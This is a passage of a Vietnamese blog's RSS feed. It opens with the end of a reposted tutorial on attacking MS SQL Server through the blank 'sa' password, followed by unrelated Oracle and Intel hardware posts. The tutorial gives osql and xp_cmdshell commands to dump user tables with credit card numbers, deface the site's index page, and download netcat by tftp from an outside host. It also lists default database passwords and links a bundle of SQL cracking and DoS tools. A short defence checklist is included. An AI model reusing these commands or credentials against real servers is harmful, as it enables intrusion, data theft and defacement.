C:\&gt; osql.exe –S  198.188.178.1 –U sa –P “”<br />
Nếu chung ta nhận được dấu nhắc<br />
1&gt;<br />
có  nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user  &#8220;sa&#8221;</p>
<p>Tới đây nếu ta muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần  dùng thủ tục &#8220;xp_cmdshell&#8221; như sau:</p>
<p>C:\&gt; osql.exe –S 198.188.178.1 –U  sa –P “” –Q “exec master..xp_cmdshell ‘dir &gt;dir.txt’”</p>
<p>Tôi khuyến  khích việc dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi  câu lệnh được thực hiện. Tương tự ta có thể chạy bất cứ một câu lệnh nào lên  server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục  access vào server sau này. Ta cũng có thể dùng “information_schema.tables” để  lấy list các tables và nội dung của chúng bằng cách:</p>
<p>C:\&gt; osql.exe –S  198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables”</p>
<p>Kiếm thông tin login trong các table như login, accounts, users &#8230;<br />
C:\&gt; osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”</p>
<p>và lấy thông tin về username cùng với credit card.</p>
<p>C:\&gt;  osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate  from users”</p>
<p>Output:</p>
<p>Username creditcard expdate<br />
&#8212;&#8212;&#8212;&#8211;  &#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;-<br />
Jack 5935023473209871 2004-10-03 00:00:00.000<br />
Jill 5839203921948323 2004-07-02 00:00:00.000<br />
Micheal 5732009850338493  2004-08-07 00:00:00.000<br />
Ronak 5738203981300410 2004-03-02 00:00:00.000</p>
<p>Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp  database server được install chung với webserver )</p>
<p>C:\&gt; osql.exe –S  198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack&gt;  C:\inetpub\wwwroot\index.html’”</p>
<p>Upload file lên server dùng tftp:<br />
C:\&gt; osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell  ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”</p>
<p>Để download một file nào đó  ta có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện  trên server chứ không fải ở máy chúng ta. Nếu ta dùng GET, câu lệnh sẽ thực hiện  trên server và sẽ download nc.exe từ máy của chúng ta tới server.</p>
<p>Tools  dùng hack các SQL pass có rất nhiều trên web. Ngay cả lỗi tràn bộ đệm cũng có  thể được dùng để điêu khiển hoàn toàn một hệ thống với quyền admin. Bài viết này  chỉ đề cập một số vấn đề tổng quát về db server.</p>
<p>• Remember the Sapphire  worm? Which was released on 25th Jan. The worm which exploited three known  vulnerabilities in the SQL servers using 1433/1434 UDP ports.</p>
<p>Phương  pháp phòng chống<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&lt;*&gt; Đổi password  mặc định của user &#8220;sa&#8221;<br />
&lt;*&gt; Xoá tất cả các thủ tục được mặc định lưu  trữ trên server<br />
&lt;*&gt; Lọc những ký tự như &#8216;,&#8221;,&#8211;,: &#8230;<br />
&lt;*&gt;  Update SQL với những bản mới nhất<br />
&lt;*&gt; Khoá các port SQL bằng cách dùng  firewall</p>
<p>Một số website về SQL security&#8221;<br />
<a href="http://sqlsecurity.com/" target="_blank"><span class="link">http://sqlsecurity.com/</span></a><br />
<a href="http://www.cert.com/" target="_blank"><span class="link">http://www.cert.com/</span></a></p>
<p>Any  comments and good criticism is always accepted at <a href="mailto:guatehack@linuxmail.org">guatehack@linuxmail.org</a></p>
<p>[End  of Original Message]</p>
<p>1. Một số password default cho các super-user:<br />
Oracle sys: oracle</p>
<p>mySQL (Windows) root:null</p>
<p>MS SQL Server  sa:null</p>
<p>DB2 dlfm:ibmdb2<br />
2. Collection các tool dùng cho SQL:<br />
SQLTools.zip &#8212;&#8212;&#8212;&gt; www.lebuudan.net/SQLTools.zip<br />
Bao gồm:<br />
SQLcracker + passlist + userlist<br />
SQLdos.exe<br />
SQLscanner.exe<br />
SQLping.exe<br />
and more.</p>
<p>3.OSQL.exe nằm trong bộ MSDE của  microsoft, nhưng tới 64Mb lận, có ai cần thì tui upload lên. Hông thì thui, host  nhỏ xíu hà.</p>
<p>4. ebook/text :<br />
ebook: <a href="http://www.hackersplayground.org/books.html" target="_blank"><span class="link">http://www.hackersplayground.org/books.html</span></a><br />
text: <a href="http://www.hackersplayground.org/papers.html" target="_blank"><span class="link">http://www.hackersplayground.org/papers.html</span></a><br />
SQLinjection: <a href="http://www.hackersplayground.org/papers.html" target="_blank"><span class="link">http://www.hackersplayground.org/papers.html</span></a></span> <!-- Attachments --></td>
</tr>
<tr>
<td class="row1" height="10" align="left" valign="bottom"><span class="gensmall"><br />
</span></td>
</tr>
</tbody>
</table>
</div>
</td>
</tr>
</tbody>
</table>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/haind.wordpress.com/14/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/haind.wordpress.com/14/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/14/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=14&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/06/13/sql-injection-and-oracle-part-onepete-finnigan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>

		<media:content url="http://www.securityfocus.com/images/pixel.gif" medium="image" />
	</item>
		<item>
		<title>Maximum Oracle Database Size.</title>
		<link>http://haind.wordpress.com/2008/05/19/maximum-oracle-database-size/</link>
		<comments>http://haind.wordpress.com/2008/05/19/maximum-oracle-database-size/#comments</comments>
		<pubDate>Mon, 19 May 2008 01:38:11 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=13</guid>
		<description><![CDATA[Maximum Oracle Database Size.
(From http://arjudba.blogspot.com/2008/04/maximum-oracle-database-size.html)
An Oracle Database can be logically divided into tablespaces. Tablespaces can be two types named as 1) Smallfile Tablespace , 2) Bigfile Tablespace.
The traditional tablespace is referred to as a smallfile tablespace (SFT). A smallfile tablespace contains multiple, relatively small files.
A bigfile tablespace (BFT) is a tablespace containing a single file [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=13&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h3 class="post-title entry-title"><a href="http://arjudba.blogspot.com/2008/04/maximum-oracle-database-size.html">Maximum Oracle Database Size.</a></h3>
<p>(From http://arjudba.blogspot.com/2008/04/maximum-oracle-database-size.html)</p>
<p>An Oracle Database can be logically divided into tablespaces. Tablespaces can be two types named as 1) Smallfile Tablespace , 2) Bigfile Tablespace.</p>
<p>The traditional tablespace is referred to as a smallfile tablespace (SFT). A smallfile tablespace contains multiple, relatively small files.</p>
<p>A bigfile tablespace (BFT) is a tablespace containing a single file that can have a very large size.The BFT extended the maximum size of tablespace and database.</p>
<p>A SFT can contain 1022 datafile each of which can contain power(2,22) blocks. while a BFT can contain only one datafile which can contain power(2,32) blocks.</p>
<p>The maximum datafile size is calculated by,</p>
<p>maximum datafile size=db_blcok_size*maximum number of blocks.</p>
<p>In database db_block_size can have 2K, 4K,8K,16K,32K.</p>
<p>In a database there can have maximum 65533 data files.<br />
So,</p>
<p>maximum database size=maximum datafile size*maximum datafile can be in a database.</p>
<p>If we consider highest database block (i.e 32K) then in SFT,</p>
<p>maximum datafile size=power(2,22)*32/1024/1024 G=128G.</p>
<p>So, if we use SFT then,</p>
<p>maximum database size= 128*65533 G=8388224 G;</p>
<p>Now consider about BFT.Here,</p>
<p>maximum datafile size=power(2,32)*32/1024/1024 G=131072 G.</p>
<p>and,</p>
<p>maximum database size=131072*65533 G=8589541376 G.</p>
<p>As you can see, with the new BFT addressing scheme, Oracle 10g can contain astronomical amounts of data within a single databas</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/haind.wordpress.com/13/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/haind.wordpress.com/13/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/13/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=13&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/05/19/maximum-oracle-database-size/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>
	</item>
		<item>
		<title>Get all oracle packages source to text file.</title>
		<link>http://haind.wordpress.com/2008/04/22/get-all-oracle-packages-source-to-text-file/</link>
		<comments>http://haind.wordpress.com/2008/04/22/get-all-oracle-packages-source-to-text-file/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 10:29:58 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=12</guid>
		<description><![CDATA[Done!
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=12&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Done!</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/haind.wordpress.com/12/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/haind.wordpress.com/12/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/12/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=12&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/04/22/get-all-oracle-packages-source-to-text-file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>
	</item>
		<item>
		<title>Intel Santa Rosa</title>
		<link>http://haind.wordpress.com/2008/04/21/intel-sata-rosa/</link>
		<comments>http://haind.wordpress.com/2008/04/21/intel-sata-rosa/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 09:17:18 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[Intel chipset]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=10</guid>
		<description><![CDATA[Để nhận biết máy tính của mình có dựa trên công nghệ Santa rosa của Intel không thì kiểm tra như sau:
Santa rosa có 2 công nghệ là  centrino duo và centrino pro.
 Centrino duo thỏa mãn các đệu kiện :
1,     Cpu:    BXL core 2duo có FSB [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=10&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Để nhận biết máy tính của mình có dựa trên công nghệ Santa rosa của Intel không thì kiểm tra như sau:</p>
<p>Santa rosa có 2 công nghệ là  centrino duo và centrino pro.</p>
<p><strong> Centrino duo thỏa mãn các đệu kiện :</strong></p>
<p>1,     Cpu:    BXL core 2duo có FSB 800Mhz(có tên mã là Merom)<br />
2, Chipset: intel GM965 Express chipset,intel PM965 Express chipset.<br />
3,WireLess:intel Next-Gen wireless-N,intel Pro/wireless 3945ABG Network.</p>
<p><strong> Centrino Pro thỏa mãn các điệu kiện:</strong></p>
<p>1,Cpu: BXL core 2duo có FSB 800Mhz (có tên mã là Merom).<br />
2,Chipset:intel GM965,PM965 Express chipset.<br />
3,WLan :intel 82566 Family Giabit ethernet controllers.<br />
4,Wireless:intel Next-Gen wireless-N,<br />
Ngoài ra còn có thêm intel Turbo Memmory.</p>
<p>(Tham khảo tại http://www.ddth.com/showthread.php?t=152493)</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/haind.wordpress.com/10/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/haind.wordpress.com/10/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/10/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=10&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/04/21/intel-sata-rosa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>
	</item>
		<item>
		<title>AUTONOMOUS TRANSACTION</title>
		<link>http://haind.wordpress.com/2008/04/02/autonomous-transaction/</link>
		<comments>http://haind.wordpress.com/2008/04/02/autonomous-transaction/#comments</comments>
		<pubDate>Wed, 02 Apr 2008 06:01:18 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=9</guid>
		<description><![CDATA[AUTONOMOUS TRANSACTION
(From http://www.expertsharing.com/2008/03/13/autonomous-transaction/)
Until Oracle 8i any Oracle session can handle only a single transaction at any given point of time. If a transaction “A” is started, no other transaction can be executed until the transaction “A” is commited or Rollbacked. But by the Autonomous transaction feature provided by Oracle, another transaction “B” can be completed [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=9&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h3><a href="http://www.expertsharing.com/2008/03/13/autonomous-transaction/" title="Permanent Link to AUTONOMOUS TRANSACTION" rel="bookmark">AUTONOMOUS TRANSACTION</a></h3>
<p class="posted">(From http://www.expertsharing.com/2008/03/13/autonomous-transaction/)</p>
<p>Until <b>Oracle 8i</b> any <b>Oracle session</b> can handle only a single transaction at any given point of time. If a transaction “A” is started, no other transaction can be executed until the transaction “A” is commited or Rollbacked. But by the <b>Autonomous transaction</b> feature provided by Oracle, another transaction “B” can be completed suspending the Transaction “A”  and resuming it after the completion of transaction “B”.</p>
<p><i>Transaction “A” can be termed as main transaction. Transaction “B” can be termed as <b>Autonomous transaction</b></i>.</p>
<p>An <b>Autonomous transaction</b> is executed as independent and out of the scope of main transaction.An autonomous transaction is a transaction that is started with in context of another transaction. An autonomous transaction can be committed or rolled back regardless of the main transaction.</p>
<p>An <b>Autonomous</b> transaction has to be defined in a  <b>Pl/sql</b> block other than the block where main transaction is executed. You can define any Pl/sql block  like anonymous block, <b>procedure</b>, function, package procedure, package function, database trigger as an autonomous transaction.</p>
<p>To define a Pl/sql block as an autonomous transaction , you can use the statement below in the declaration section of a PL/SQL block.</p>
<p><b>PRAGMA AUTONOMOUS_TRANSACTION;</b></p>
<p>You can put the autonomous transaction pragma anywhere in the declaration section of PL/SQL block. The above PRAGMA directs the <b>pl/sql compiler</b> to consider this block as an  <b>AUTONOMOUS TRANSACTION block</b>.</p>
<p><span></span></p>
<p><img src="http://www.expertsharing.com/wp-content/uploads/2008/03/autonomous-transaction1.PNG" alt="autonomous-transaction1.PNG" /></p>
<p><b><i><u>Application of Autonomous transaction:</u></i></b></p>
<p>1. Autonomous transaction can be used  as a logging mechanism to log the transaction specific data.<br />
2. Autonomous transaction can be used to record the transaction state for a successful transaction or a failed transaction.<br />
3.To implement commit and rollback mechanisms in database triggers.<br />
4.Autonomous transaction can be used to develop standalone units of work. So Autonomous transaction  can be helpful in building reusable components or reusable Modules.</p>
<p><b><u>Rules and Restrictions of using Autonomous transaction:</u></b></p>
<p>1. Only top level anonymous blocks can be declared as Autonomous transaction.<br />
An example of Nested anonymous block declared as Autonomous transaction giving an error.</p>
<p><img src="http://www.expertsharing.com/wp-content/uploads/2008/03/autonomous_transction1.JPG" alt="autonomous_transction1.JPG" /></p>
<p>2. A deadlock can occur whenever an autonomous transaction tries to access a resourced which is held by the main transaction.</p>
<p>Ex:</p>
<p><code>CREATE OR REPLACE PROCEDURE<br />
update_salary (dept_in IN NUMBER)<br />
IS<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
CURSOR myemps IS<br />
SELECT empno FROM emp<br />
WHERE deptno = dept_in<br />
FOR UPDATE NOWAIT;<br />
BEGIN<br />
FOR rec IN myemps<br />
LOOP<br />
UPDATE emp SET sal = sal * 2<br />
WHERE empno = rec.empno;<br />
END LOOP;<br />
COMMIT;<br />
END;<br />
/<br />
BEGIN<br />
UPDATE emp SET sal = sal * 2;<br />
update_salary (10);<br />
END;<br />
/</code></p>
<p>his results in the following error:</p>
<p>ERROR at line 1:<br />
ORA-00054: resource busy and acquire with NOWAIT specified</p>
<p>3. You cannot declare an entire package as an Autonomous with Single Pragma.</p>
<p><code>CREATE OR REPLACE package exp3 as<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
PROCEDURE X;<br />
PROCEDURE Y;<br />
END ;<br />
/</code></p>
<p>4. Every Autonomous transaction should end with an either commit or ROLLBACK statements.If an autonomous block ends with out completing a transaction ORA-6519 is raised.</p>
<p><code>DECLARE<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
BEGIN<br />
insert into tx_tab(num) values(2);<br />
end;<br />
/</code><code>Error at line 1:</code></p>
<p>ORA-06519 : Active autonomous transaction detected and rolled back.</p>
<p>&#8212;&#8212;&#8212;&#8212;More from PL/SQL best practice&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Doing Independent Units of Work with Autonomous Transactions<br />
An autonomous transaction is an independent transaction started by another<br />
transaction, the main transaction. Autonomous transactions do SQL operations and<br />
commit or roll back, without committing or rolling back the main transaction. For<br />
example, if you write auditing data to a log table, you want to commit the audit data<br />
even if the operation you are auditing later fails; if something goes wrong recording<br />
the audit data, you do not want the main operation to be rolled back.<br />
Figure 6–1 shows how control flows from the main transaction (MT) to an<br />
autonomous transaction (AT) and back again.<br />
Figure 6–1 Transaction Control Flow</p>
<p>PROCEDURE proc1 IS<br />
emp_id NUMBER;<br />
BEGIN<br />
emp_id := 7788;<br />
INSERT &#8230; MT begins<br />
SELECT &#8230;<br />
proc2;<br />
DELETE &#8230;<br />
COMMIT; MT ends<br />
END;<br />
PROCEDURE proc2 IS<br />
PRAGMA AUTON&#8230;<br />
dept_id NUMBER;<br />
BEGIN MT suspends<br />
dept_id := 20;<br />
UPDATE &#8230; AT begins<br />
INSERT &#8230;<br />
UPDATE &#8230;<br />
COMMIT; AT ends<br />
END; MT resumes<br />
Advantages of Autonomous Transactions<br />
Once started, an autonomous transaction is fully independent. It shares no locks,<br />
resources, or commit-dependencies with the main transaction. You can log events,<br />
increment retry counters, and so on, even if the main transaction rolls back.<br />
More important, autonomous transactions help you build modular, reusable software<br />
components. You can encapsulate autonomous transactions within stored procedures.<br />
A calling application does not need to know whether operations done by that stored<br />
procedure succeeded or failed.<br />
Defining Autonomous Transactions<br />
To define autonomous transactions, you use the pragma (compiler directive)<br />
AUTONOMOUS_TRANSACTION. The pragma instructs the PL/SQL compiler to mark a<br />
routine as autonomous (independent). In this context, the term routine includes<br />
■ Top-level (not nested) anonymous PL/SQL blocks<br />
■ Local, standalone, and packaged functions and procedures<br />
■ Methods of a SQL object type<br />
■ Database triggers<br />
You can code the pragma anywhere in the declarative section of a routine. But, for<br />
readability, code the pragma at the top of the section. The syntax follows:<br />
PROCEDURE proc1 IS<br />
emp_id NUMBER;<br />
BEGIN<br />
emp_id := 7788;<br />
INSERT &#8230; MT begins<br />
SELECT &#8230;<br />
proc2;<br />
DELETE &#8230;<br />
COMMIT; MT ends<br />
END;<br />
PROCEDURE proc2 IS<br />
PRAGMA AUTON&#8230;<br />
dept_id NUMBER;<br />
BEGIN MT suspends<br />
dept_id := 20;<br />
UPDATE &#8230; AT begins<br />
INSERT &#8230;<br />
UPDATE &#8230;<br />
COMMIT; AT ends<br />
END; MT resumes<br />
Main Transaction Autonomous Transaction<br />
Doing Independent Units of Work with Autonomous Transactions<br />
6-36 PL/SQL User&#8217;s Guide and Reference<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
In the following example, you mark a packaged function as autonomous:<br />
CREATE PACKAGE banking AS<br />
&#8230;<br />
FUNCTION balance (acct_id INTEGER) RETURN REAL;<br />
END banking;<br />
CREATE PACKAGE BODY banking AS<br />
&#8230;<br />
FUNCTION balance (acct_id INTEGER) RETURN REAL IS<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
my_bal REAL;<br />
BEGIN<br />
&#8230;<br />
END;<br />
END banking;<br />
Restriction: You cannot use the pragma to mark all subprograms in a package (or all<br />
methods in an object type) as autonomous. Only individual routines can be marked<br />
autonomous.<br />
The next example marks a standalone procedure as autonomous:<br />
CREATE PROCEDURE close_account (acct_id INTEGER, OUT balance) AS<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
my_bal REAL;<br />
BEGIN &#8230; END;<br />
The following example marks a PL/SQL block as autonomous:<br />
DECLARE<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
my_empno NUMBER(4);<br />
BEGIN &#8230; END;<br />
Restriction: You cannot mark a nested PL/SQL block as autonomous.<br />
The example below marks a database trigger as autonomous. Unlike regular triggers,<br />
autonomous triggers can contain transaction control statements such as COMMIT and<br />
ROLLBACK.<br />
CREATE TRIGGER parts_trigger<br />
BEFORE INSERT ON parts FOR EACH ROW<br />
DECLARE<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
BEGIN<br />
INSERT INTO parts_log VALUES(:new.pnum, :new.pname);<br />
COMMIT; &#8212; allowed only in autonomous triggers<br />
END;<br />
Comparison of Autonomous Transactions and Nested Transactions<br />
Although an autonomous transaction is started by another transaction, it is not a<br />
nested transaction:<br />
■ It does not share transactional resources (such as locks) with the main transaction.<br />
■ It does not depend on the main transaction. For example, if the main transaction<br />
rolls back, nested transactions roll back, but autonomous transactions do not.<br />
Doing Independent Units of Work with Autonomous Transactions<br />
Performing SQL Operations from PL/SQL 6-37<br />
■ Its committed changes are visible to other transactions immediately. (A nested<br />
transaction&#8217;s committed changes are not visible to other transactions until the<br />
main transaction commits.)<br />
■ Exceptions raised in an autonomous transaction cause a transaction-level rollback,<br />
not a statement-level rollback.<br />
Transaction Context<br />
The main transaction shares its context with nested routines, but not with autonomous<br />
transactions. When one autonomous routine calls another (or itself recursively), the<br />
routines share no transaction context. When an autonomous routine calls a<br />
non-autonomous routine, the routines share the same transaction context.<br />
Transaction Visibility<br />
Changes made by an autonomous transaction become visible to other transactions<br />
when the autonomous transaction commits. These changes become visible to the main<br />
transaction when it resumes, if its isolation level is set to READ COMMITTED (the<br />
default).<br />
If you set the isolation level of the main transaction to SERIALIZABLE, changes made<br />
by its autonomous transactions are not visible to the main transaction when it resumes:<br />
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;<br />
Controlling Autonomous Transactions<br />
The first SQL statement in an autonomous routine begins a transaction. When one<br />
transaction ends, the next SQL statement begins another transaction. All SQL<br />
statements executed since the last commit or rollback make up the current transaction.<br />
To control autonomous transactions, use the following statements, which apply only to<br />
the current (active) transaction:<br />
■ COMMIT<br />
■ ROLLBACK [TO savepoint_name]<br />
■ SAVEPOINT savepoint_name<br />
■ SET TRANSACTION<br />
Note: Transaction properties set in the main transaction apply only to that transaction,<br />
not to its autonomous transactions, and vice versa.<br />
Entering and Exiting<br />
When you enter the executable section of an autonomous routine, the main transaction<br />
suspends. When you exit the routine, the main transaction resumes.<br />
To exit normally, you must explicitly commit or roll back all autonomous transactions.<br />
If the routine (or any routine called by it) has pending transactions, an exception is<br />
raised, and the pending transactions are rolled back.<br />
Committing and Rolling Back<br />
COMMIT and ROLLBACK end the active autonomous transaction but do not exit the<br />
autonomous routine. When one transaction ends, the next SQL statement begins<br />
another transaction. A single autonomous routine could contain several autonomous<br />
transactions, if it issued several COMMIT statements.<br />
Doing Independent Units of Work with Autonomous Transactions<br />
6-38 PL/SQL User&#8217;s Guide and Reference<br />
Using Savepoints<br />
The scope of a savepoint is the transaction in which it is defined. Savepoints defined in<br />
the main transaction are unrelated to savepoints defined in its autonomous<br />
transactions. In fact, the main transaction and an autonomous transaction can use the<br />
same savepoint names.<br />
You can roll back only to savepoints marked in the current transaction. In an<br />
autonomous transaction, you cannot roll back to a savepoint marked in the main<br />
transaction. To do so, you must resume the main transaction by exiting the<br />
autonomous routine.<br />
When in the main transaction, rolling back to a savepoint marked before you started<br />
an autonomous transaction does not roll back the autonomous transaction. Remember,<br />
autonomous transactions are fully independent of the main transaction.<br />
Avoiding Errors with Autonomous Transactions<br />
To avoid some common errors, keep the following points in mind:<br />
■ If an autonomous transaction attempts to access a resource held by the main<br />
transaction, a deadlock can occur. Oracle raises an exception in the autonomous<br />
transaction, which is rolled back if the exception goes unhandled.<br />
■ The Oracle initialization parameter TRANSACTIONS specifies the maximum<br />
number of concurrent transactions. That number might be exceeded because an<br />
autonomous transaction runs concurrently with the main transaction.<br />
■ If you try to exit an active autonomous transaction without committing or rolling<br />
back, Oracle raises an exception. If the exception goes unhandled, the transaction<br />
is rolled back.<br />
Using Autonomous Triggers<br />
Among other things, you can use database triggers to log events transparently.<br />
Suppose you want to track all inserts into a table, even those that roll back. In the<br />
example below, you use a trigger to insert duplicate rows into a shadow table. Because<br />
it is autonomous, the trigger can commit changes to the shadow table whether or not<br />
you commit changes to the main table.<br />
&#8211; create a main table and its shadow table<br />
CREATE TABLE parts (pnum NUMBER(4), pname VARCHAR2(15));<br />
CREATE TABLE parts_log (pnum NUMBER(4), pname VARCHAR2(15));<br />
&#8211; create an autonomous trigger that inserts into the<br />
